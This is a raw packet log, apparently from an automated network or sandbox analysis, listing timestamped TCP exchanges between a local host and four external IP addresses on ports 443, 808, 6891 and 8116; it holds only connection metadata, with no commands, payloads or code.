Oct 28, 2021 04:46:47.467771053 CEST	443	49998	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:47.467936039 CEST	49998	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:47.468703032 CEST	49998	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:47.468719006 CEST	443	49998	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:47.470052004 CEST	49997	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.523010969 CEST	8116	49997	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.594703913 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:47.594749928 CEST	443	49999	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:47.594878912 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:47.595659018 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:47.595680952 CEST	443	49999	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:47.988300085 CEST	443	49998	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:47.988481045 CEST	49998	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:47.989455938 CEST	49998	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:47.989468098 CEST	443	49998	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:47.993185997 CEST	49998	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:47.993208885 CEST	443	49998	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:47.993228912 CEST	49998	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:47.993237972 CEST	443	49998	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.115441084 CEST	443	49999	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.115664959 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.116756916 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.116772890 CEST	443	49999	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.125531912 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.125554085 CEST	443	49999	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.125761032 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.125773907 CEST	443	49999	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.701141119 CEST	443	49998	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.701205969 CEST	443	49998	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.701297998 CEST	49998	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.701318979 CEST	49998	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.703552008 CEST	49998	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.703576088 CEST	443	49998	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.836364031 CEST	443	49999	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.836435080 CEST	443	49999	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.836477995 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.836553097 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.844563961 CEST	49999	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:48.844604015 CEST	443	49999	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:48.855501890 CEST	50000	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:48.966049910 CEST	50001	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.013595104 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.013689995 CEST	50000	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.014354944 CEST	50000	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.136567116 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.136708975 CEST	50001	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.137548923 CEST	50001	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.172277927 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.172472954 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.172523975 CEST	50000	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.172977924 CEST	50000	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.176148891 CEST	50000	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.176259995 CEST	50000	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.307945967 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.307991028 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.308057070 CEST	50001	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.308623075 CEST	50001	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.312232018 CEST	50001	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.312344074 CEST	50001	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.331597090 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.334892035 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.334912062 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.334928036 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.478957891 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.482542992 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.482563972 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.482676029 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.723068953 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.723098993 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.723485947 CEST	50000	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.729067087 CEST	50000	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.841384888 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:49.869687080 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.869729042 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:49.869832993 CEST	50001	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.883802891 CEST	50001	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:49.887068033 CEST	808	50000	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:50.004880905 CEST	50003	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.006997108 CEST	6891	50002	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.007152081 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.007772923 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.054266930 CEST	808	50001	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:50.170393944 CEST	6891	50003	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.170629025 CEST	50003	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.171291113 CEST	50003	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.173074961 CEST	6891	50002	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.173202991 CEST	6891	50002	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.173294067 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.173727036 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.177489042 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.177617073 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.336426973 CEST	6891	50003	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.336626053 CEST	6891	50003	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.336823940 CEST	50003	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.338083982 CEST	50003	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.342786074 CEST	6891	50002	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.342806101 CEST	6891	50002	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.344835043 CEST	50003	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.345043898 CEST	50003	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.382349014 CEST	6891	50002	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.512070894 CEST	6891	50003	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.512089014 CEST	6891	50003	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.512096882 CEST	6891	50003	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.724476099 CEST	6891	50002	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.724497080 CEST	6891	50002	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.724684954 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.724771023 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.731276035 CEST	50002	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.857984066 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:50.898618937 CEST	6891	50002	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.904469013 CEST	6891	50003	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.904500961 CEST	6891	50003	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:50.904623032 CEST	50003	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.917557955 CEST	50003	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:50.918879032 CEST	8116	50004	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:50.919019938 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:50.919943094 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:50.980884075 CEST	8116	50004	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:50.981079102 CEST	8116	50004	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:50.981193066 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:50.982036114 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:50.989068985 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:50.989279985 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.050649881 CEST	8116	50004	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.050678968 CEST	8116	50004	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.053781033 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.084193945 CEST	6891	50003	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:51.112144947 CEST	8116	50005	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.112286091 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.113513947 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.168118000 CEST	8116	50005	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.168652058 CEST	8116	50005	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.168756008 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.169368029 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.178252935 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.178432941 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.232925892 CEST	8116	50005	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.232955933 CEST	8116	50005	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.236057043 CEST	8116	50005	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.236187935 CEST	8116	50004	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.236206055 CEST	8116	50004	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.236289978 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.236310959 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.239423990 CEST	50004	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.302901030 CEST	8116	50004	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.356440067 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.356492043 CEST	443	50006	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:51.356596947 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.357302904 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.357316017 CEST	443	50006	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:51.401254892 CEST	8116	50005	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.401278973 CEST	8116	50005	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.401428938 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.401472092 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.410686970 CEST	50005	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:51.466079950 CEST	8116	50005	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:51.528451920 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.528490067 CEST	443	50007	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:51.528635025 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.529130936 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.529150963 CEST	443	50007	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:51.874670982 CEST	443	50006	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:51.874841928 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.875633955 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.875653028 CEST	443	50006	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:51.883944035 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.883959055 CEST	443	50006	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:51.884037971 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:51.884046078 CEST	443	50006	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.051712990 CEST	443	50007	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.051788092 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.052634954 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.052643061 CEST	443	50007	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.065108061 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.065126896 CEST	443	50007	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.065242052 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.065248966 CEST	443	50007	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.594773054 CEST	443	50006	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.594842911 CEST	443	50006	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.594938040 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.594964981 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.598105907 CEST	50006	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.598131895 CEST	443	50006	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.766623020 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:52.769447088 CEST	443	50007	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.769511938 CEST	443	50007	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.769568920 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.769602060 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.777093887 CEST	50007	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:52.777122021 CEST	443	50007	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:52.918286085 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:52.932116985 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:52.932218075 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:52.933284044 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.081948042 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.082168102 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.083556890 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.099047899 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.099147081 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.099266052 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.100095987 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.105433941 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.105561018 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.248735905 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.248914957 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.249047041 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.249445915 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.252876997 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.252981901 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.266040087 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.270817995 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.270862103 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.270939112 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.414591074 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.418414116 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.418452978 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.418462992 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.418482065 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.653213024 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.653239965 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.653418064 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.653465033 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.656641960 CEST	50008	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.777446985 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:53.805092096 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.805115938 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.805239916 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.805258989 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.810764074 CEST	50009	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:53.822124958 CEST	808	50008	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:53.923950911 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:53.944785118 CEST	6891	50010	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:53.944972038 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:53.945796013 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:53.974332094 CEST	808	50009	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:54.090287924 CEST	6891	50011	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.091167927 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.091701031 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.111092091 CEST	6891	50010	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.111120939 CEST	6891	50010	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.111311913 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.112128973 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.119241953 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.119505882 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.257991076 CEST	6891	50011	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.258148909 CEST	6891	50011	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.258410931 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.259597063 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.266118050 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.266138077 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.284598112 CEST	6891	50010	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.284642935 CEST	6891	50010	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.284671068 CEST	6891	50010	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.432651043 CEST	6891	50011	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.432703018 CEST	6891	50011	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.432730913 CEST	6891	50011	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.810230970 CEST	6891	50011	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.810277939 CEST	6891	50011	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.810316086 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.810364008 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.817387104 CEST	50011	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.913070917 CEST	6891	50010	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.913115025 CEST	6891	50010	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.914098024 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.914125919 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.916153908 CEST	50010	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:54.936213970 CEST	50012	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:54.983839035 CEST	6891	50011	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:54.988985062 CEST	8116	50012	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:54.989134073 CEST	50012	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:54.989675045 CEST	50012	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.028752089 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.042227983 CEST	8116	50012	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.042567968 CEST	8116	50012	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.042644024 CEST	50012	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.043353081 CEST	50012	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.046700954 CEST	50012	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.046808004 CEST	50012	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.081384897 CEST	6891	50010	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:55.087192059 CEST	8116	50013	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.087326050 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.087877035 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.099258900 CEST	8116	50012	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.099282026 CEST	8116	50012	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.100536108 CEST	8116	50012	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.144364119 CEST	8116	50013	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.144732952 CEST	8116	50013	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.144828081 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.145471096 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.150401115 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.150495052 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.206703901 CEST	8116	50013	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.206985950 CEST	8116	50013	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.273684978 CEST	8116	50012	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.273713112 CEST	8116	50012	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.273855925 CEST	50012	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.284789085 CEST	50012	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.337291002 CEST	8116	50012	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.400960922 CEST	8116	50013	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.400988102 CEST	8116	50013	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.401052952 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.401082039 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.404086113 CEST	50013	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:55.410832882 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.410876036 CEST	443	50014	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:55.410984039 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.411673069 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.411683083 CEST	443	50014	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:55.460644007 CEST	8116	50013	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:55.514461040 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.514506102 CEST	443	50015	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:55.514591932 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.515162945 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.515181065 CEST	443	50015	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:55.927557945 CEST	443	50014	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:55.927637100 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.928225040 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.928239107 CEST	443	50014	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:55.934113026 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.934134007 CEST	443	50014	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:55.934266090 CEST	50014	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:55.934279919 CEST	443	50014	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:55.999574900 CEST	443	50015	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:55.999665976 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.000289917 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.000300884 CEST	443	50015	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:56.005592108 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.005603075 CEST	443	50015	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:56.005696058 CEST	50015	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:56.005707026 CEST	443	50015	192.46.210.220	192.168.2.5
